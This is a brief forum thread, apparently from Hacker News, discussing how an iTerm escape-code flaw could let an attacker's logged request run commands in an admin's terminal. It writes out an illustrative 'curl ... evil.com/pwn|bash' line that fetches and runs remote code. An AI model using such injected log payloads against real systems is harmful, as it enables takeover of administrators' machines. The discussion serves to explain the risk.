4 ms·
I take it the nightmare scenario here is that you have web logs streaming in a tmux window and an attacker accesses /404/escape-code/curl -s http://evil.com/pwn
by earthboundkid 7y ago
I take it the nightmare scenario here is that you have web logs streaming in a tmux window and an attacker accesses /404/escape-code/curl -s http://evil.com/pwn|bash http://evil.com/pwn|bash? Does the window need to be foregrounded for the attack to work? I guess the good news is that iTerm is Mac only, so I can't imagine that many web servers are using it.
- gnachman 7y agoThat’s about right. Window doesn’t need to be in the foreground.
- stygiansonic 7y agoWhy would the web server need to be running macOS? From my understanding an admin could be ssh’d into a server and tailing/gripping the logs there while using iTerm. If the malicious input was in the logs, then the attacker could take over the admins machine, and by extension, possibly any machine the admin had access to.
- earthboundkid 7y agoGood point.